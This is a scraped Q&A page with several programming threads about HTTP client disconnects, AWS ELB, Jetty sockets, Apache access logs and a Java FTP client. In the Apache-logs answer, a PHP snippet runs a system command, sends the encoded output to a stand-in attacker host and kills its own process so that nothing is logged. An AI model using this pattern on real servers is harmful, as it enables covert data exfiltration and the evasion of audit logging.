We Keep Coding

Simulate an Http client disconnection before the server reply

The problem:
I am having some strange behaviour from a Jetty server (rest over https) when some client connections are closed (client-side) before the server has had time to reply. Normally this is well managed and expected by a webserver/application server but in a specific instance something breaks the server that stops replying.
I am trying to reproduce programmatically and locally the issue, opening a client connection and closing it before the server has had time to reply, but I do not have much experience with a situation like this, normally the clients I write are expected to not die immediately.
I am not interested in the language/application I have to use to replicate my case, it can be a Java program, a netcat command, telnet, dotnetcore... The only limit I have is that it should run on a Kubernetes pod, if possible.
I am trying to use Java to open a socket then close it immediately, or to create an Http client and stop it immediately after a request sent, but with no luck at the moment.
At the same time I am looking at netcat, but I fear it's too low level for a rest request.

AWS ELB servlet client disconnection detection

Disclaimer: there is a lot of information on similar topics. In our case it works as expected without AWS ELB (Elastic Load Balancer), i.e. when the client drops, ServletOutputStream.flush() throws IOException.
Setup: we have an instance running Tomcat 7 (Java 1.7) behind ELB (HTTPS:443 -> HTTP:8080). The servlet streams data to the client through HTTP long lived connection.
Problem: when the client disconnects, the server keeps streaming data, i.e. ServletOutputStream.flush() or .write() does not throw IOException. The ELB kind of "buffers" the connection (we can see it with IpTraf monitor), so from the Tomcat side it appears as the client is still there. Without the ELB, IOException is thrown properly, so the servlet can stop streaming. We have disabled connection draining and reduced connection timeout to 1 sec, we also reduced all timeouts on Tomcat's HTTP Connector including KeepAlive to just few seconds. Nothing helps.
Question: is there anything we can do with the ELB configuration / Tomcat / Java side to allow disconnection detection in this setup?

We had the same kind of problem (but in .NET with IIS).
We seem to have solved it by switching from the classic ELB to the Application ELB. Now writing to the output stream of a closed connection gives an exception, where first (on classic ELB) it didn't.
Hope this helps anyone running into the same problem

Force Embedded Jetty to disconnect at once

I'm creating a small utility which receives a lot of HTTP requests. It is written in java and uses embedded-jetty to handle requests via https.
I have a load-testing tool for it, but when it is being run for some time it starts to throw exceptions:
java.net.BindException: Address already in use: connect
(note, this is on sender's side, not in my project)
As I understand this means no more free sockets were found in system when another connect was called. Throughput is about 1000 requests per second, and failures start to appear somewhere after 20000 to 50000 requests.
However when I use the same load testing tool with another program (a kind of simple consumer, written in scala using netty by some colleague - it simply receives all requests and returns empty ok response) - there is no so problem with sockets (though typical speed is 1.5-2 times slower).
I wonder if this could be fixed by telling Jetty somehow to close connections immediately after response was sent. Anyway each new request is sent via new connection. I tried to play with Connector#setIdleTimeout - it seems to be 30000 by default but have not succeeded.
What can I do to fix this - or at least to research the matter deeper to find its cause (if I am wrong in my suggestions)?
UPD Thanks for suggestions, I think I am not allowed to post the source, but I get the idea that I should study client's code (this will make me busy for some time since it is written in scala).

I found that really there was a problem with client - it sends requests with Connection: Keep-Alive in header, though creates new HttpURLConnection for each request and calls disconnect() method after it.
To solve this trouble on the server-side it was sufficient to send Connection: close in response header, since I have no allowance to change testing utility.

Do Apache Access Logs Ever Miss Requests?

My workplace has Apache in-front of various Java application servers. I often have to investigate production issues and rely on those Apache Access Logs recording all requests to the application servers, whether they are successful (200), redirects(302), errors (500) or some other status.
A couple of times however, normally when an application server has become unresponsive and required a restart, it looks like maybe some requests have not been logged.
I have tried reproducing this locally (start a long running request and either allow the request to exceed the timeout on the Apache server or just kill the application server from the command-line) but I always get a request logged in the access logs.
My question is, assuming Apache is running fine but faced with an application server problem, would the Apache access logs ever miss a request?

It can miss requests in some cases, docs contain important sentence:
The server access log records all requests processed by the server.
So if request is not processed, then we should not expect entry in access_log. If you wonder if such situation can be easily reproduced, then I found a way to do it.
Consider following PHP code (test.php):
<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
Also you have to run Apache with prefork MPM and mod_php module. Then make request with browser or telnet:
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0
Connection closed by foreign host.
As you can see, connection is closed without any response. Also there are no logs in access_log nor error_log, despite code was executed and attacker received encoded result of command uname -a.

Problem in java ftp code

i'm getting error in java ftp code.
SimpleFTP could not request passive mode.
i copied this code from net. but it's not working
sendLine("PASV");
String response = readLine();
System.out.println(response);
System.out.println(response);
if (!response.startsWith("227")) {
throw new IOException("SimpleFTP could not request passive mode: " + response);
}

It looks like you're able to connect to the ftp server - otherwise you had received IOExceptions or NullPointerExceptions much earlier.
Problem is, that you can't establish a passive mode connection. If the server is a standard product, then I assume, it would respond correctly with a 227 message.
If I had to debug, I'd start with the following:
use a normal shell based ftp client and try to enter passive mode manually. Maybe you get a different response, maybe the server just sends one empty line before the real message
use a network sniffer like wireshark to monitor traffic.
try to connect to a different ftp server
check firewall settings - those may block passive mode because it uses different ports

start a command line ftp client with no arguments. Issue the debug command to enable display of protocol messages and the passive command to set passive mode. (Note: the windows command line ftp does not support passive mode!) Use the open command to connect to a host. You'll be prompted if you need to log in. Issue the ls command to get a directory listing.
Through all of this, the client will display the messages sent and received. There is probably some message variant that your code is not handling. For example, the SimpleFTP code here does not handle multi-line responses. See RFC-959 § 4.2: FTP Responses.
One embedded system I work with responds to a successful login with:
220-Setting memory limit to 1024+1024kbytes
220-Local time is now 10:33 and the load is 1.36.
220 You will be disconnected after 1800 seconds of inactivity.
The SimpleFTP code fails because it's expecting a single line beginning with "220 ".
Additionally, despite the FTP protocol being quite old, you will encounter quite a few non-conforming implementations.
If you need to do anything more complex than 'put file' or 'get file', take a look at edtFTPj/Free.